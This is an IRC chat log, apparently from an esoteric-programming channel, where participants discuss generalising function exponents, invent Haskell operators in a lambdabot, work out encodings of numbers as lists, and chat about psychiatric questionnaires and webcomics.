02:10:20  n^0=1 (1 is the multiplicative identity)
02:10:41  n^-1=1/n (the identity divided by a number)
02:11:12  So, I figured, f^-1 must equal I/f, or using the proper disposition operator, I □ f
02:11:20  quintopia: Comprende?
02:11:54  How it works otherwise, I have no idea
02:13:34  I would say you just divide x (where x is from I(x)) by the definition of the original function (with the one variable being x), but that forms a problem for pairs of functions with differing numbers of arguments, piecewise functions, and primitive functions
02:14:59  quintopia?
02:15:28  quintopia: What you said might be right.
02:18:32  but compositon is not associative is it?
02:18:43  quintopia: It is not.
02:18:47  AFAIK
02:18:59 -!- Xe has quit (Quit: *.yolo *.swag).
02:19:00 -!- Lord_of_Life has quit (Quit: EliteBNC free bnc service - http://elitebnc.org - be a part of the Elite!).
02:19:00  it doesnt make sense to call a nonassociative operation multiplication
02:19:38  quintopia: There's Octonion multiplication, which isn't associative
02:19:55 -!- Xe` has joined.
02:20:02  Hi Xe`!
02:20:10  and i've always thought octonions were weird
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02:21:05 -!- Xe` has changed nick to Xe.
02:21:18  do octonions define a multiplicative inverse?
02:21:31  *inverses
02:21:53  obvi a noncommutatie op has two inverses
02:22:37  quintopia: Oh right. That
02:23:07  Well there may be another inverse for it that I don't know about
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03:40:21  Hmm, function composition isn't associative?
03:40:45  I would think it is..
03:47:00  This is one of idea I have of Magic: the Gathering cards: "If your life total is exactly 666, you win the game."
03:47:05 -!- jaboja has joined.
03:47:57  Seems like Felidar Sovereign would be easier in most cases.
03:48:16 -!- hppavilion[1] has joined.
03:52:03  Yes, although the one I had made up it costs only one mana and has split-second, but it is a sorcery and black and madness
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04:33:09  quintopia: So my next step is to have functions to the powers of other functions xD. Either that or another arithmetic operation, involving a function as one argument and either a function or a general number as its other
04:33:20  Wait, maybe I should get arround to defining f**i
04:37:17  Why do I get SIGILL signals in the _dl_fixup() function?
04:45:29 -!- lleu has quit (Quit: That's what she said).
04:53:42  I think popen_noshell confuses gdb
04:57:08  Arithmetic of the functia is going well, but I've encountered an issue for complex powers of functions. Here's what I have so far: https://drive.google.com/file/d/0ByRvNdqqy3GPd3FxdmRrbnF5eE0/view
04:57:23 -!- andrew_ has quit (Remote host closed the connection).
04:57:24  (that's a PDF, zzo38, just hosted on Drive)
04:57:44 -!- andrew has joined.
05:03:40  It doesn't load a PDF, just the login screen
05:04:13  for i in {0..99};do for j in {0..90};do if ((i/10+i%10+j/10+j%10<19));then printf x;else printf \ ;fi done;echo;done
05:04:22  ^ ascii art
05:05:24  dammit, should have been for j in {0..99}
05:06:09  Ugh... How do I do a complex iterated function...
05:06:47  make a simple iterated function
05:06:57 * izabera solves all problems
05:07:05  (I just need to know how I do f**i; I'd /prefer/ to just know how to do f**i so I cn figure it out myself)
05:07:46  izabera: I'm making an Arithmetic of the Functia that supports function exponents and need to figure out how to generalize it to complex numbers xD
05:09:16  Maybe you need to mark such file as public?
05:09:32  i don't know much about what you're doing but one "standard" approach is to try to reduce your function to stuff that you can do with complex numbers
05:11:34  e.g. you don't know how to compute exponentiation?  ok, e^x can be expressed as an infinite sum of x^k/k! with k from 0 to infinity
05:11:45  so let's use this to express e^ix
05:12:35  (not sure if expressed is the right word)
05:13:49  or you can try to find a complex valued function that happens to have the same values as your function on real numbers
05:14:37  now what are you doing
05:14:49  izabera: I'm discussing things like f**i(x), not f(x)**i or the like. It's similar to f**-1(x), but generalized to the complexes
05:15:03  what is ** ?
05:15:08  izabera: Power
05:15:10  ok
05:15:14  It's python's exponentiation operator
05:15:17  ok
05:17:06  izabera: But f^n has already been generalized to the integers and to reals of the form 1/n where n is an integer; I trivially extended it to any real number and am now trying to generalize it to the complexes
05:17:16  I should probably figure out imaginary powers first xD
05:18:21  The problem I thought of though is that . (composition) isn't commutative, and the complex power f^(a+bi) will surely be defined as f^a . f^(bi), and that's problematic as + has to be commutative I'm pretty sure
05:19:26  why wouldn't it be commutative?
05:20:17  anyway, keep in mind that a^b == e^(log(a)b)
05:20:21  does this help?
05:20:22  izabera: Function composition commutative?
05:20:49  that's not composition?
05:21:23  izabera: Multiplication of functions is the same as Composition in my AotF
05:21:32  f^(a+bi) == f^a * f^bi
05:21:41  what is aotf?
05:21:43  f(x) = 2x, g(x)=x+1, f.g(3) != g.f(3)
05:21:49  izabera: Arithmetic of the Functia
05:21:58  i don't know what it is
05:22:02  (Functia is a corruption of Functions)
05:22:19  izabera: It's me being stupid and generalizing inverse functions into functions to the power of complex numbers
05:22:44  And functions divided by other functions. Which actually works, believe it or not.
05:23:05  Sgeo_: I would like to find what happens when I raise a function to a c@mplex number xD
05:24:00  izabera: What I've been trying to figure out is how you iterate a function over a complex number
05:24:59  example?
05:25:03  izabera: If you want more information on the AotF, here's a PDF: https://drive.google.com/file/d/0ByRvNdqqy3GPd3FxdmRrbnF5eE0/view
05:25:16  private
05:25:18  Oh
05:25:37  https://drive.google.com/file/d/0ByRvNdqqy3GPd3FxdmRrbnF5eE0/view?usp=sharing
05:27:15  not sure why but the text is in a really light grey over a white bg
05:27:52  izabera: No clue. It isn't on my end; could be your . I made it in TeX. It's currently incomplete.
05:27:54  i must have messed up something in firefox
05:28:21  hppavilion[1]: http://mathoverflow.net/questions/71429/do-complex-iterates-of-functions-have-any-meaning
05:28:27  Sounds like something one of us would do
05:28:32  Jafet: THANK YOU!
05:28:37  ok i downloaded it
05:28:47  hppavilion[1], we didn't even figure out how to take the absolute value of c@mplexes, did we?
05:29:07  Sgeo_: We did not, AFAIK
05:29:44  I just remember shooting down one of my approaches, unsure about the other and unsure about tswett's
05:30:28  I just changed the official author of AotF to Hedwig Notta, included myself as translator
05:30:30  mathoverflow isn't stackoverflow
05:32:58  izabera: Um... correct?
05:33:13  Jafet: I began to read that, and now I've given up xD
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05:40:36  meanwhile, my trackpad decided to go nuts
05:40:44  i need it :C
05:56:05  > take 4 . map (take 5) $ iterate (tail . (`iterate` 1) . (!!)) [1..]
05:56:07   [[1,2,3,4,5],[2,3,4,5,6],[3,5,7,9,11],[5,13,29,61,125]]
05:56:25  haskell is so easy to understand
05:56:28  I forgot about this one
05:56:37  well, it's not the most readable Haskell
05:56:54  is there such a thing?
05:57:00  it's an infinite-list-of-lists formulation of the Ackermann function
05:57:46  Dunno, but there is at least such a thing as *more* readable Haskell (than this)
05:57:48  A rather inefficient one, judging by the (!!)
05:58:02  hah! unreadable and inefficient
05:58:04  Right, codegolf was the goal
05:58:17  is it space sensitive?
05:58:43  > take 4.map(take 5)$ iterate(tail.(`iterate` 1).(!!))[1..]
05:58:45   [[1,2,3,4,5],[2,3,4,5,6],[3,5,7,9,11],[5,13,29,61,125]]
05:58:53  oh, as in whitespace?
05:59:11  no, you can remove them (apart from the one between 'take' and '4' of course
05:59:32  isn't that the most obvious thing to do with codegolf
06:00:21  so obvious it's boring?  fair i guess
06:01:20  Yeah, iterate(tail.(`iterate`1).(!!))[1..] is the actual list-of-lists
06:09:25  "Porn Logic" would be an interesting humorous (albeit a bit inappropriate) formal logic. 
06:10:24  x -> y
06:10:52  ∴x⚤y
06:11:57  Presumably read as "XX moves towards XY".
06:12:06  Perhaps
06:13:01  Also available is Troll Logic; x -> y, ∴santa <=> your parents
06:13:35  You know, for the less perverse people among us
06:30:02  Jafet: Well I suppose it'd have to be a modal logic...
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06:45:53  Hm...
06:45:59  Unary division and multiplication
06:49:47 <\oren\> nah, pron logic is more: "She doesnt have money to tip the pizza dude" -> "she must pay with her body"
06:51:50 <\oren\> e.g. it's a branch of the pre-Boole non-algebraic logic
07:04:08  Ah
07:04:29  I actually started formalizing porn logic xD
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07:41:57  hppavilion[1]: i think it is insane to have a complex-exponent of a function
07:42:14  quintopia: It probably is xD
07:42:43  It doesn't make too much sense when you consider the commutatiy-of addition, noncommutativity-of-composition issue
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07:53:44  what if she does have money to tip the pizza dude
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07:58:53  izabera: That's why he used "->" instead of "<->"
08:04:09  [wiki] [[UberGenes]]  http://esolangs.org/w/index.php?diff=45579&oldid=45552 * Quintopia * (-48) /* Python 2 */ removed some unnecessary crap (tho more remains I think?)
08:05:55  quintopia: Should I make ‰ the "Supermodulus" in Kastor?
08:07:18  \oren\: ‰ looks a helluva lot like % in neoletters
08:10:31  I think I'll lambdabot it to him
08:10:45  @tell \oren\ ‰ looks a helluva lot like % in neoletters
08:10:45  Consider it noted.
08:11:08  @tell \oren\ Same goes for ‱
08:11:08  Consider it noted.
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08:21:40  I made up the one to one correspondence of natural numbers with finite lists of natural numbers, which is sequence starting with:  [] [0] [1] [0,0] [3] [0,1] [2] [0,0,0] [7] [0,3] [1,0] [0,0,1] [5] [0,2] [2,0] [0,0,0,0] [15] [0,7] [1,1] [0,0,3] [4] [0,1,0] [2,1] [0,0,0,1] [11] [0,5] [1,0,0] [0,0,2] [6] [0,2,0] [2,0,0] [0,0,0,0,0] [31] [0,15] [1,3] [0,0,7] [3,0] [0,1,1] [2,3] [0,0,0,3] [9]
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08:22:20  Do you like this? Is there a better way?
08:24:56  We can see what kind of properties it has, and possibly other ways you can even come up with such the same thing rather than only how I did it at first.
08:27:10  [] [0] [1] [0,0] [0,1] [0,2] [1,0] [1,1] [1,2] [2,0] [2,1] [2,2] [0,0,0] ...
08:27:23  no wait
08:28:16  [] [0] [1] [0,0] [0,1] [0,2] [1,0] [1,1] [1,2] [2,0] [2,1] [2,2] [2] [0,0,0] ...
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08:31:53  let me start over <.<
08:32:09  Is there some form of hypermodulus out there that works for hyperoperation inverses where n>=3?
08:32:19  enumerate all the sequences of 0..n of size at most n, then n++, repeat
08:32:47  For example modulog(9, 2)=1 because 2**3=8 and 9=8-1
08:33:03  And moduroot defined similarly
08:33:33  [wiki] [[Purple]]  http://esolangs.org/w/index.php?diff=45580&oldid=45570 * Quintopia * (+1160) Removed 0 instruction just because it wasn't strictly necessary.
08:34:29  [wiki] [[Purple]]  http://esolangs.org/w/index.php?diff=45581&oldid=45580 * Quintopia * (+0) lol, it hadn't even been invented yet!
08:37:45 -!- mroman has joined.
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08:40:16  fnird
08:43:11  How I defined it is: Each element in the list is you write the number one more than that in base two and then add however many leading zeros is one less than how many bits in that number, and then put all of them together and then reverse the bits.
08:45:56  [wiki] [[Point operator]] N http://esolangs.org/w/index.php?oldid=45582 * Hppavilion1 * (+1823) Created Page
08:47:10  [wiki] [[Point operator]]  http://esolangs.org/w/index.php?diff=45583&oldid=45582 * Hppavilion1 * (+1) Fixed a link
08:48:06  [wiki] [[Point operator]]  http://esolangs.org/w/index.php?diff=45584&oldid=45583 * Hppavilion1 * (-4) Delinked
08:48:23  helloerjan
08:49:49  hippavilion
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08:51:17  oerjan: Is there a hypermodulus for roots and logs that works something like mlog(2, 9)=1?
08:51:26  If there isn't, would such an operator be useful?
08:51:38  (Another kind of correspondence could be: Add one to the last element of the list (if any), make Godel encoding of the sequence, and then subtract one from the answer.)
08:52:13  hppavilion[1]: i have no idea what you mean by that.
08:53:04  oerjan: hypermodulus is like :log|root :: %:/
08:53:25  what is %:
08:53:37  oerjan: Modulus. At least, in a lot of languages
08:53:52  pretty sure the : isn't normally included.
08:54:12  oh wait
08:54:13  oerjan: Oh, the : was because it was an Aristotilean analogy clause
08:54:30  by mlog(2, 9)=1 I meant that the modular log[2] of 9 is equal to 1, because 2**3=8 and 9=8-1
08:54:44  finally an actual definition
08:54:45  mroot is defined similarly
08:54:56  xD
08:55:42  It's basically the remainder of integer logarithms or roots. If that makes any sense.
08:55:54  erm
08:56:15  could you describe how to calculate mlog(m, n)
08:57:34  oerjan: The inefficient way is to, starting with x=0, increment x by m until x+m>n, then to return n-m
08:57:42  Wait, not
08:57:43  [wiki] [[Purple]]  http://esolangs.org/w/index.php?diff=45585&oldid=45581 * Quintopia * (-6) /* Python 2 */ Moved file loading to the Purple class to make it easy to use when imported as a module.
08:57:43  *no
08:57:57  Not increment by x, you start with x=1 and multiply by x
08:58:20  Of course, that doesn't account for x <= 0, but it's a start.
08:59:37  so basically you write n in base m and subtract 1 from the first digit?
08:59:51  oerjan: Maybe?
09:00:25  mlog(3,80) = 53 then?
09:00:40  (which is _larger_ than the power you're subtracting)
09:00:55  i don't see how this is particularly useful
09:00:59  I might've gotten my definition wrong; the point is that mlog like modulus, except it uses logarithms instead of division
09:01:26  It isn't, but it's a nice generaliation I guess.
09:02:26  modulus comes from a deep mathematical theory.  it's not going to be very useful without it.
09:02:56  Ah
09:03:02  (basically, the modulus relation is a ring congruence)
09:03:21  You've just lost me xD
09:03:29  It might have its uses
09:04:17  Really, I'm just looking for something for the binary/infix ‰ operator in Kastor
09:04:36  `unidecode ‰
09:04:37  ​[U+2030 PER MILLE SIGN]
09:05:33  the closest thing that i know is useful is discrete logarithm
09:06:07  however, that's not always defined, and you need to factorize to find it.
09:06:37  If you implement operator precedence you might as well parse floats correctly
09:06:48  seeing as implementing operater procedence is way harder than parsing floats
09:09:18  Hm...
09:09:22  mroman: ?
09:09:40  Are you refering to the point operator?
09:09:49  also, you could define it not as "joining" but as uhm x + 1/y or something ;)
09:09:50  hppavilion[1]: yes
09:10:03  > 3 + (1/20)
09:10:07   3.05
09:10:12  so it would be 3.20
09:10:18  which translates to 3.05
09:10:35  mroman: That was just a stupid idea; not something I'm going to use
09:10:46  I know :)
09:10:56  I'm just making suggestions for other stupid ideas :)
09:10:57  Also, I'm implementing in Python at least initially so...
09:10:59  xD
09:11:04  Of course xD
09:11:21  but that'd might solve the 3.05 problem ;)
09:11:39  Yes, but it would also be incredibly hard to know what you're doing
09:12:22  I call it the backslash operator
09:12:27  a\b = a + (1/b)
09:12:37  > 3 \ 20
09:12:39   :1:3: parse error on input ‘\’
09:12:48  oh right. You can't define that in haskell.
09:13:03  > [] \\ []
09:13:05   []
09:13:14  @type (\\\)
09:13:15      Not in scope: ‘\\\’
09:13:15      Perhaps you meant one of these:
09:13:15        ‘IM.\\’ (imported from Data.IntMap),
09:13:28  @define (\\\) a b = a + (a / b)
09:13:29   Defined.
09:13:33  ah shit
09:13:35  @define (\\\) a b = a + (1 / b)
09:13:36   .L.hs:160:1: Warning:
09:13:37       Pattern match(es) are overlapped
09:13:37       In an equation for ‘\\\’: \\\ a b = ...
09:13:41  :D
09:13:44  there's no redefine is there?
09:13:51  @redefine (\\\) a b = a + (1 / b)
09:13:51  Maybe you meant: undefine define
09:13:57  @undefine (\\\)
09:13:57  There's currently no way to undefine just one thing.  Say @undefine (with no extra words) to undefine everything.
09:13:57  @redefine
09:13:57  Maybe you meant: undefine define
09:14:16  @define (\\\\) a b = a + (1 / b)
09:14:18   Defined.
09:14:22  hm
09:14:27  > 3 \\\\ 20
09:14:29   3.05
09:14:40  > 3 \\\ 20
09:14:42   3.15
09:14:54  > 10 \\\ 100
09:14:56   10.1
09:15:00  This isn't too bad actually
09:16:08  @define (\\\\\) a b = a + (b / a)
09:16:10   Defined.
09:16:14  > 3 \\\\\ 20
09:16:16   9.666666666666668
09:16:35  I propose a language with only \\\\ operators .
09:16:44  > (3 \\\\\ 20) \\\ 10
09:16:46   10.633333333333335
09:16:51  > (3 \\\\\ 20) \\\ 10 \\\\ 9
09:16:52   10.744444444444445
09:17:13  > 10 \\\ 1
09:17:14   20.0
09:17:19  > 50 \\\ 1
09:17:21   100.0
09:17:26  > 50 \\\\ 1
09:17:28   51.0
09:17:37  > 50 \\\\ -1
09:17:38       Precedence parsing error
09:17:38           cannot mix ‘\\\\’ [infixl 9] and prefix `-' [infixl 6] in the same i...
09:17:42  > 50 \\\\ (-1)
09:17:44   49.0
09:18:01  > 50 \\\\ (-2)
09:18:02   49.5
09:18:16  at least you can do incs/decs quite conveniently
09:18:43  > foldl1 (\\\) [1..10]
09:18:45   5.5
09:18:47  > foldl1 (\\\\) [1..10]
09:18:49   2.9289682539682538
09:18:53  > foldl1 (\\\\\) [1..10]
09:18:54   11.0
09:19:00  > foldl1 (\\\) [1..100]
09:19:02   50.5
09:19:08  > foldl1 (\\\\) [1..100]
09:19:10   5.187377517639621
09:19:28  does any of those converge at some point?
09:19:42  maybe \\\\\ the others probably not.
09:19:59  mroman: Should I include the backslash operator in Kastor just as a reference no one will ever get? xD
09:20:55  Yes.
09:20:56  Totally.
09:21:37  mroman: Should I make it sinlge-backslash or triple-backslash?
09:21:47  Wait, no, quadruple-backslash
09:24:18  I'm making "\\\" equal to a+(a/b) and calling it "mroman's folley"
09:24:31  Well a\b should be a + (a /b), a\\b should be a + (1 / b) and a\\\b should be a + (b / a) ;)
09:24:39  or whatever
09:24:50  If you only implement one then use the a + (1 / b) one
09:25:00  that's probably the most practical of those
09:28:13  mroman: I'm keeping them the way they were implemented here, partially because I'll likely never want to use the \\\ operator for anything else, but I might want the \
09:28:19  What's the \\\\\ operator called?
09:30:18  > 10 \\\ 5
09:30:21   12.0
09:31:13  mroman: Should I exclusively define \\\\\\(\\(\\)?)? for INTs, or should I allow floats as arguments as well (NUM in general)?
09:33:02  > 10.5 \\\\ 3.2
09:33:04   10.8125
09:33:19  Meh. NUMs it is.
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09:34:16  :h
09:34:20  > :h
09:34:22   :1:1: parse error on input ‘:’
09:34:26  > help
09:34:28   Not in scope: ‘help’
09:39:01  I call them the backslash operators of n-th order :D
09:39:04  I don't know.
09:39:09  They probably don't have an official name
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09:41:10  @metar ENVA
09:41:11  ENVA 210920Z 11005KT 7000 2000W SHSN FEW000 SCT009 BKN020 M03/M03 Q1001 TEMPO 0600 SHSN VV005 RMK WIND 670FT 17007KT
09:41:21  SNOW
09:41:33  @metar KOAK
09:41:33  KOAK 210853Z 03003KT 7SM MIFG FEW005 09/08 A3007 RMK AO2 SLP182 T00940083 58001
09:41:43  SYESW
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10:08:28  i have a string and several substrings of it
10:08:33  no actually
10:08:43  i don't have the string, i have several substrings of it
10:08:45  they overlap
10:08:56  i need to recreate the original string
10:09:40  it is known that at each step there is a pair of substrings with the maximal overlap, and i should join those
10:11:27  so if i have ABCDEF, DEFG, BCDE, XYZABC and XCDEZ
10:12:09  you could join ABCDEF with DEFG, but you mustn't because you have to join ABCDEF with BCDE
10:12:48  what's an efficient way to do it?
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10:16:52  did i ask this already
10:17:44  i was working on this a few days ago and i kinda ignored it since then
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10:46:47  izabera: I don't see a way to do that nicely
10:47:54  my not nice way is O(too^much)
10:48:59  That is probably similar to my not nice way
10:49:52  Ugh, I need to learn how to actually do things
10:50:03  step 1: get off irc
10:50:54  I've tried that, it doesn't help
10:51:05  I think I have ADHD or something, I need to book an appointment or something to get that checked out
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11:20:02  O(2^n) algorithms are actually pretty fast
11:20:12  if your input size is 0 < n < 1
11:20:34  this is wrong in so many ways
11:20:44  I'm wrong in so many ways.
11:23:39  but that's mostly due to me not having any notable academic degree :)
11:26:24  that's not how academic degrees work...
11:30:17  that's exactly how they work
11:30:26  I you have one, you have been taught a lot of stuff
11:30:29  :D
11:30:37  of course
11:30:39  even if I had one
11:30:45  I'd still be wrong in so many other ways.
11:32:55  You'd still be a layperson about almost everything.
11:33:29  "To err is human" goes really, really deep.
11:33:42  aw man
11:33:50  youtube removed pretty much all the hogan's heroes episodes
11:33:57  you can get multiple degrees
11:34:11  True.
11:34:13  izabera: right. drops in the desert
11:34:25  get moar
11:34:38  izabera: if you're lucky you can create a small oasis
11:34:39  with enough degrees there's not gonna be much left to be a layman about
11:34:53  Sand grains in the desert
11:34:56  there's only so much time
11:35:03  It's just that in the time I'd need to calculate 5-19 the exam will already be over :)
11:35:11  invent time travel?
11:35:31  otherwise I would have tried to get a degree
11:35:36  how does time travel help? rejuvenation/immortality however...
11:35:52  but you said there's only so much time
11:35:53 -!- boily has joined.
11:36:02  I meant personal time.
11:36:08  i.e. lifetime
11:36:26  time travel, as I understand it, doesn't prolong that
11:36:51  but you surely can travel in the future so there's less research to do
11:37:17  that means there would be even more to be ignorant about...
11:37:17  Taneb: They are going to check me next thursday
11:37:29  Oh, good luck!
11:37:34  so actually, a time machine *would* work wonders, but you have to travel back in time.
11:37:37  Not that I think I have ADHD
11:37:55  but for insurance purposes they'll do some general testing.
11:39:15  int-e: did you see the last girl genius
11:40:23  obvious guess as to who is speaking in the last panel
11:41:57  No guess, I haven't thought about it. It's been too long.
11:42:10  my guess is othar
11:42:24  That makes perfect sense
11:42:46  oh the dispensible indestructible superhero... makes sense
11:43:03  (Actually they want me to screen for Aspergers)
11:43:43 * oerjan finally got to see in writing that he's actually diagnosed with Aspergers
11:43:48  (I definitely don't have Aspergers. I'd know that.)
11:43:59  And I'd know if I had ADHD.
11:44:00  so
11:44:06  mroman: ARE YOU SURE
11:44:11  Yeah
11:44:13  JOOOIN US...
11:44:15  Why the hell wouldn't I know that?
11:44:41  You can't really diagnose it past childhood anyway
11:44:48 * oerjan isn't sure the diagnosis was properly set.  it was done in a bit of a hurry.
11:44:59  oh?
11:45:15  The formal requirement is that symptoms must exist since early childhood.
11:45:21  or rather, i'm pretty sure it wasn't.
11:45:37  mroman: ic
11:45:39  and I'm pretty sure either my parents or a teacher would have picked up on signs if I had Aspergers.
11:45:43  oerjan: anyway I'm still annoyed, I'd rather see progress on the Paris story ... above ground ...
11:46:24  oerjan: but now it seems likely that that won't happen this year.
11:46:25  well i got the diagnosis because my Dad kept blathering about it, so obviously _he_ thought there had been signs - but it wasn't a known thing when i grew up.
11:46:31  I'm more of a generally depressed/negative/anxious personality.
11:46:56  int-e: i'm wondering if they'll return and find the place already overrun with revenants
11:47:13  possibly
11:47:19  maybe that's what will get Gil there
11:47:34  mroman: i got that in my diagnosis too.
11:48:12  hmm, is there another story arc that they could switch to? "meantime, in Sturmhalten castle ..."
11:48:15  "Did you have trouble doing homework on time?" "I don't know. I never did homework."
11:48:21  That interview is going to be awkward.
11:48:39  I wanted "meanwhile"
11:49:30  oerjan: Psychiatrists in the past kept wondering whether I have social phobia, AvPD, Asperger's, BPD, NPD etc.
11:50:02  and now they want a formal diagnosis (because at some point the insurance company wants to know what the fuck is going on)
11:51:46  int-e: hm if Gil (and Klaus) don't know about Anevka being the other, she _might_ still be in control there.
11:52:07  "Anevka"
11:52:12  wait
11:52:17  Klaus knows, duh
11:52:26  those standardized questionaires are highly inaccurate anyway.
11:52:27  which makes it unlikely that Gil doesn't...
11:52:35  "Did you ever think about hurting someone?" [ ] Yes [ ] No
11:52:45  If you cross yes, you'll get a point in Anti Social Behaviour
11:52:49 * oerjan wonders how well they can communicate when sharing a body...
11:52:55  what kind of question is that...
11:53:19  (don't answer that)
11:53:44  [ ] Right now I want to stab whoever came up with this question.
11:53:45  int-e: |spelling error
11:53:45  int-e: |   ] Right now I want to stab whoever came up with this question.
11:53:45  int-e: |                                                        ^
11:53:55  uh. another prefix.
11:54:13  int-e: That's how these work.
11:54:30  They don't ask for "pathological" stuff, more for behaviours.
11:54:37  Including if you have hurt animals as a chil
11:54:39  *child
11:54:49  I mean common... who hasn't done that at some point during childhood
11:55:01  mroman: more like if you cross No, you'll get a point in Lying.
11:55:04  yes, it makes sense... but apparently they expect the answers to be filtered through social norms rather than being honest.
11:55:12  They should ask "have you severly fucked up an animal other than maybe snakes or shitty animals like that"
11:55:28  I've stepped on a snake on purpose as a child.
11:55:37  so technically I have intentionally hurt an animal.
11:55:48  or perhaps you're supposed to forget about such thoughts... oh well
11:57:09  sometimes i swat insects.  and sometimes i carefully trap them in a glass to let them out unharmed.  consistency, overrated...
11:57:31  also... "I did hurt someone... it was an accident. I thought about it for a long time wondering how I could've avoided it." <-- does that count?
11:57:38  http://image.slidesharecdn.com/rydera-g-costap-t-jr-bagbyr-m-2007-120826023040-phpapp02/95/trastornos-de-personalidadryder-2007-10-728.jpg?cb=1345948301
11:58:04  "Are you afraid to try new things"
11:58:14  AYE
11:58:18  Well... sure
11:58:22  but I guess that's pretty normal.
11:58:23  trick question! there is no right answer!
11:58:29  also it depends on that thing
11:59:39  "... so devoted to work ..."
11:59:42  I'm at work right now.
11:59:44  In my free time.
12:00:02  and I use my vacation days and still go to work. Nobody notices.
12:02:03  119. before you were 13, did you often skip school?
12:02:06  No, only morons do that :D
12:02:17  or in other terms: Only cool kids skip school.
12:25:56  @tell hppavilion[1] function composition is associative hth
12:25:56  Consider it noted.
12:26:17  sometimes you have to beat it in before it sticks
12:27:40  `unidecode ‱
12:27:41  ​[U+2031 PER TEN THOUSAND SIGN]
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12:29:44   I made up the one to one correspondence of natural numbers with finite lists of natural numbers, which is sequence starting with:  [] [0] [1] [0,0] [3] [0,1] [2] [0,0,0] [7] [0,3] [1,0] [0,0,1] [5] [0,2] [2,0] [0,0,0,0] [15] ... <-- is that the same as Taneb's
12:31:08  wait, [3] before [2]?  oh well.
12:31:15  huh... [] [0] [1] [0,0] [2] <-- expected a 2 here... and a 3 instead of the 7...
12:31:26  there are as many finite sequences of natural numbers than natural numbers?
12:31:30 * oerjan doesn't remember Taneb's, anyway
12:31:38  boily: yes hth
12:32:43  tdnrh, bitiafv...
12:32:54  Is Taneb's one-to-one?
12:33:09 -!- J_Arcane has joined.
12:33:12  hm if that [3] is a misprint then that's pretty much the "obvious" binary based one.
12:33:14  Taneb is isomorphic to His tanebventions.
12:33:28  Jafet: PROBABLY
12:33:38  possibly that's what Taneb also used.
12:34:12  you write the number in binary, and then take stretches of zeroes.
12:34:20  their lengths, that is.
12:35:13  so 5 -> 101 -> [0,1].  actually that doesn't tell which end he's starting from...
12:35:50  8 -> 0001 [7] ... confused.
12:36:17  10 -> 0101 [1,0] (yes I'm putting the lsb first)
12:36:23  hm zzo38 must be doing something differently
12:36:54  or wait [0,1] must start with lsb if it's to be 5.
12:37:27  this may be Taneb's we are describing.
12:38:32  well he applied it recursively, to get a list of lists of ...
12:38:54  there's a ghc 8?
12:39:01  ApplicativeDo
12:39:03  int-e: pretty sure 10 should be [1,1]
12:39:17  mroman: the upcoming one
12:39:30  did they make a release candidate?
12:39:46  I don't know.
12:39:53  I just randomly stumbled upon Typed.Spreadsheet
12:40:12  with this computer problem i may never be able to catch up to my haskell reading.
12:40:17 -!- boily has quit (Quit: POURED CHICKEN).
12:40:31  7.10.2 is current
12:40:51  anyway, ApplicativeDo is slated for 8.0.
12:41:13  (8.0.1)
12:41:51  oerjan: which syntax is that?
12:43:07  normal do syntax, just reinterpreted as Applicative when possible
12:43:30  I don't understand much of the fancy extensions anyway
12:43:34  InjectiveTypeFamalies
12:43:40  oh well, everything zzo38 says is a reverse engineering task... this is just another one I'll give up on
12:43:45  do x <- a; y <- b; return (f x y)  -->  liftA2 f a b
12:44:10  or f <$> a <*> b
12:44:56  oerjan: I'm not sure... note the odd encoding of [2] which is the same as concatenating the encodings of [0] and [1]. For a moment I thought he was mapping 1 bits to 0, and zero bits and eof to two-bit stings... but that's not right either.
12:46:48  (in that idea, the true interpretation of [1] would be 010, which isn't a prefix of 011, the encoding of 1; this is compatible with the "odd" interpretation of 10, the concatenation of 010 = [1] and 1 = [0])
12:47:08  s/the encoding of 1/the encoding of [2]/
12:47:47  oerjan: ok
12:47:47 <\oren\> good mroing
12:48:53  oerjan: so basically, that's possible when the library defines Monad to require Applicative?
12:49:02  now I'm gonna screw with the global drug survey
12:49:12  and is there also a Functor do?
12:49:20  i suppose that's a requirement
12:49:36  b_jonas: i dunno, seems reasonable but limited
12:50:40 -!- J_Arcane_ has joined.
12:50:56  oh I get it...
12:52:41  http://sprunge.us/aAWf
12:52:46 -!- J_Arcane has quit (Ping timeout: 244 seconds).
12:52:50 -!- J_Arcane_ has changed nick to J_Arcane.
12:53:15  (lsb first, and of course trailing zeros don't contribute to the encoding)
12:55:04  "How easy would it be for you get it prescribed to you within the next 7 days?" Pretty easy :D
12:55:20 * Taneb HELLO
12:55:48 * Taneb has just picked up my copy of TAoCP from the post office
12:56:51  oerjan: zzo38's system looks similar to mine, but his is weird in some way I don't understand
12:57:01  oerjan: int-e has the right of it
12:57:11  Taneb: which volume(s), what translation, and in dead tree or ebook?
12:57:13 * oerjan still has no idea what int-e means, either
12:57:20  also, great
12:57:23  that's a good book
12:57:29  b_jonas: it's in English, 1-4A, dead tree (hardback)
12:57:38  i might not be trying very hard.
12:57:47  If it was an ebook I could have saved some time and not walked to the post office
12:57:53  ok
12:57:58  oerjan: the numbers are the distances between the bits
12:58:01  oerjan: that paste lists the encodings of singleton lists (lsb first); to encode longer lists, you concatenate the corresponding singleton lists, then read off a natural number.
12:58:09  So 0d0 => 0b0 => []
12:58:24  0d10 => 0b1010 => [1,1] I think
12:58:40  so [0,1] --> 1 010 -> 5; [1,0] -> 010 1 -> 10
12:59:12  Taneb: i mean in zzo38's system
12:59:21  Oh, yeah, I have no idea what's up with that
12:59:25  Something to do with primes?
13:00:18  [4] = 00101 = 24 comes after [15] = 000010000 = 16
13:00:40  oh ic
13:01:01  err, [4] = 20
13:01:12  so to decode the other way, you first see how many 0's the number starts with, and chop off twice as many bits + 1
13:01:23  (lsb first)
13:01:26  I still have no idea what is going on
13:01:26  right
13:02:48  so it's a prefix-free encoding
13:02:59  put differently, you encode n+1 in binary, and prefix that by 0 for each non-leading digit in the result.   4: encode 5: 101; it has 1+2 digits, so it becomes 00101
13:04:02  (and then there's a bit reversal... yay)
13:04:36  help im covered in chameleons and no one believes me
13:06:06  sounds like a setup for a joke
13:06:32  izabera: but if the first part is true, maybe IRC is not the right place to ask for help.
13:08:02  izabera: :DD
13:08:25  So what happens when a chameleon sits on the invisible pink unicorn?
13:08:45  Maybe the chameleon becomes pink
13:11:49  hmm I wonder what the ETA of volume 4B is
13:12:15 -!- oerjan has quit (Quit: Later).
13:12:56  (sorry for dropping the chameleon question, but it seems that I have no arguments for either of the three obvious possibilities (ping, invisible, no change))
13:12:59  pink
13:15:52  How do you know it's pink when you can't see it?
13:16:32  Maybe it's pink on the inside
13:16:47  because otherwise it wouldn't be the invisble pink unicorn, duh.
13:16:58  but if it's invisible there's no observable colour.
13:17:12  Ok, so it's pink under the surface.
13:17:28  pink is part of its essence
